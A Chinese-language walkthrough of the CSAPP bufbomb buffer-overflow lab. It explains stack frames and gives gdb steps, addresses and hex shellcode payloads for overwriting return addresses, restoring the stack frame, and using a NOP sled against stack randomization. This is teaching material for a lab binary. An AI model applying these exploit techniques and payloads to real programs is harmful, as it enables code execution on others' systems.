黑客初体验。
栈帧结构
简单栈帧结构
对栈帧结构最简单的解释就是,用栈指针(sp, stack pointer) 和帧指针(bp, base pointer) 标识内存头尾,中间部分的内存供函数的代码进行操作。
函数执行
包括代码域和数据域:
- 代码域存放代码,但是是固定的,运行之前就已经确定。
- 数据域存放临时变量,运行时才开辟出来,采用的是栈帧结构。
当代码段执行call <func>
,程序将跳转到func
函数的代码头,执行func
函数的代码,并让它自行开辟栈帧。
假想栈帧结构
当func
函数执行完,应该回到调用它的原来的函数代码,以及回到原来函数的栈帧。那么该如何实现呢?
回到原来的栈帧:其中一种假想的思路是,栈指针和帧指针指向的内存分别存放原来的栈指针和帧指针,返回的时候直接替换就行了。
回到原来的代码:可以在帧指针的上一处内存存放
call <func>
的下一句代码的地址,这样返回的时候让帧指针帮下忙,就可以轻松回到原来的代码。
实际结构
这样假想的栈帧结构其实已经很像真实的栈帧结构了。
为了所谓的追求速度,真正的函数栈帧结构其实是连续的,一串连着一串,像这样:
与假想的栈帧结构相比:
- 不变的是返回地址还是在帧指针之上,帧指针还是指向原来的帧指针。
- 不同的是栈指针不再需要存放原来的栈指针,因为返回地址之上就是原来栈指针所指的地方。
过程汇编代码
调用函数的经过如下:
push pc
# 返回地址入栈。push bp
# 原来的帧指针入栈。mov sp,bp
# 让帧指针指向原来的帧指针。sub sp,#(栈帧大小)
# 让栈指针往下开辟一个新的栈帧。
类似的,返回原来函数的经过如下:
mov bp,sp
# 栈指针指向帧指针指向的内存。pop bp
# 帧指针指向原来帧指针指向的内存。pop pc
# 回到原来函数的代码
缓冲区溢出攻击
可以想象,如果有办法修改栈帧上的返回地址,无疑可以让程序转向任何我们想转向的地方。但是一般不具备这样的机会,因为变量都是有固定大小的,很难突破变量大小的限制,修改变量以外的内存。
偏偏C语言对速度的变态追求和对程序员的信任,给了我们这样的机会:它几乎从不进行边界检查,数组可以越界,gets
可以越界,而且越界以后只要不影响程序的运行,连崩溃都不会发生。
假如一个函数调用了gets
向局部变量写入字符串,我们就可以写入比局部变量所规定大小还要大的字符串,业内称作注入字符串,来覆盖掉栈帧上的信息,从而达到修改内存的目的。
破坏型注入
只粗暴地覆盖返回地址。当函数返回时,代码会跳到被覆盖的返回地址,但是栈帧已经乱套了。
不过只要跳到的代码不会用到栈帧,而且能很快就结束程序,那么这种溢出攻击无疑是最简单直接的选择。
实践
《CSAPP》上提供的实验,需要我们将程序跳到一个名叫smoke
的函数。
步骤如下:
- 反汇编程序得到汇编代码。
- 查看调用
gets
的函数的汇编代码,推测需要覆盖多少字节。 - 查看
smoke
函数的代码地址。 - 编写注入的16进制机器码。
- 实行覆盖。
- 反汇编: 1objdump -d ./bufbomb > disas.txt
查看调用
gets
的函数:
将%ebp-0x28
赋给%eax
令人瞩目,这就是字符串首地址。因此覆盖的字符串应当包含:4位返回地址 + 4位bp + 40(0x28的十进制)位字符。smoke
函数首地址:
得到smoke
函数首地址:0x08048c18
编写注入的16进制机器码
12345678910111200 00 00 0000 00 00 0000 00 00 0000 00 00 0000 00 00 0000 00 00 0000 00 00 0000 00 00 0000 00 00 0000 00 00 00 /* 原字符串大小 */00 00 00 00 /* 现bp所指位置,原bp所在位置 */18 8c 04 08 /* 覆盖的返回地址 */
转成ASCII字符串,此处省略
注入,查看结果
成功
擦屁股型注入
与破坏型注入相对的是:擦屁股型注入。大意是能让程序正确地返回到原来的函数,并且恢复原来的栈帧。这种注入的要求更高,但是能做到的东西更多,更神不知鬼不觉。
这里要讲到汇编语言的一个缺陷:可以允许pc跳到栈段,并把里面的数据当代码执行。因此,只要把注入代码伪装成字符串,让覆盖的返回地址指向注入代码头,就可以让程序执行注入代码。再配合上擦屁股,就可以让作案现场毫无破绽。
这就是我花这么大的篇幅去讲解栈帧结构的原因:只要真正理解了栈帧结构,恢复它简直易如反掌。
要点如下:
- 覆盖返回地址时,会覆盖bp所指向的原bp,只要保证它不变,bp就能顺利回到原bp。
- 跳到注入代码后,sp已经指向原sp了,所以只要在注入代码的最后,把原返回地址push进栈再ret,就和原来的代码如出一辙。
实践
《CSAPP》上提供的实验,需要我们修改向原函数返回的值。
要修改返回值,就要修改寄存器,可寄存器不如内存那么好处理,不能直接覆盖,只能通过注入代码的方式修改。而且要想成功返回,就得做好擦屁股的工作。
步骤如下:
- 查看反汇编代码,记录正确的返回地址。
- 用
gdb
调试程序,记录原bp和字符串首地址。 - 编写注入的汇编代码,并利用
gcc
,objdump
工具将其翻译成机器码。 - 编写注入的16进制机器码。
- 实行覆盖。
查看反汇编代码:
得到返回地址:0x08048dbe
用
gdb
查看原bp:12345gdb ./bufbomb(gdb) b getbuf(gdb) run -u gaufoo(gdb) p /x *(int *)$ebp得到原bp:
0x55683d20
用
gdb
查看字符串首地址,就把代码注入到那:12345gdb ./bufbomb(gdb) b getbuf(gdb) run -u gaufoo(gdb) p /x ($ebp-0x28)得到字符串首地址:
0x55683cc8
编写汇编代码,并译成机器码:
1234// sc.smov $0x4a3e65c1,%eaxpush $0x08048dberet12gcc -m32 -c sc.sobjdump -d sc.o编写注入的16进制机器码:
123456789101112b8 c1 65 3e 4a /* mov $0x4a3e65c1,%eax */68 be 8d 04 08 /* push $0x08048dbe */c3 /* ret */00 00 00 00 0000 00 00 0000 00 00 0000 00 00 0000 00 00 0000 00 00 0000 00 00 0020 3d 68 55 /* 现bp所指位置,原bp所在位置 */c8 3c 68 55 /* 字符串首地址 */
转成ASCII字符串,此处省略
注入,查看结果
成功
反注入原理与抗反注入方法
gcc编译器反注入的其中一种措施是栈随机化,原理是:每次程序运行时在栈最底部随机插上一段不用的内存,让实际使用的栈地址发生变化。它会导致原bp所在位置和字符串首地址不再是固定值,给代码注入带来一定困难。
对抗这种反注入的方法也挺简单的:
- 原bp可以通过现sp计算得到。
- 虽然不再能得到字符串首地址,但可以大概猜到字符串中间的位置,只要把代码放在最后面,前面全部用空语句填充。当代码转到任何一个空语句,最终都能“滑”到我想执行的注入代码。
实践
《CSAPP》上提供的实验,注入5次字符串,每次都需要修改向原函数返回的值,难点在于每次注入时的栈地址都会发生变化,模拟编译器的栈随机化。
步骤如下:
- 查看反汇编代码,记录正确的返回地址。
- 查看反汇编代码,记录原bp和原sp的距离。
- 用
gdb
调试程序,查看5次字符串首地址,记录最接近尾部的值,即最大值,作为猜测出来的栈中间地址。 - 编写注入的汇编代码,并利用
gcc
,objdump
工具将其翻译成机器码。 - 编写注入的16进制机器码。
- 实行覆盖。
记录正确的返回地址:
得到返回地址:0x08048e3a
记录原bp和原sp的距离
123push %ebppush %ebxsub $0x24,%esp由这三句汇编代码可得距离为:0x28 = 0x24 + 0x4(ebx长度)
查看5次字符串首地址
1234$ gdb ./bufbomb(gdb) b getbufn(gdb) run -n -u gaufoo1(gdb) disas getbufn12345678910(gdb) p /x $ebp-0x208continue(gdb) p /x $ebp-0x208continue(gdb) p /x $ebp-0x208continue(gdb) p /x $ebp-0x208continue(gdb) p /x $ebp-0x208continue得到首地址最大值:
0x55683b58
编写注入汇编代码:
1234mov $0x4a3e65c1,%eaxlea -0x28(%esp),%ebppush $0x08048e3aretgcc
+objdump
,翻译成机器码:
编写注入机器码:
首先0x208是字符串缓冲区长度,十进制为520。
因此注入的机器码应为:509个字节空指令 + 15个字节注入代码 + 4个字节跳转地址 = 528个字节,
因为要注入5次,所以后面要加上’\0a’,再复制5次。
转成ASCII字符串,此处省略
注入,查看结果
成功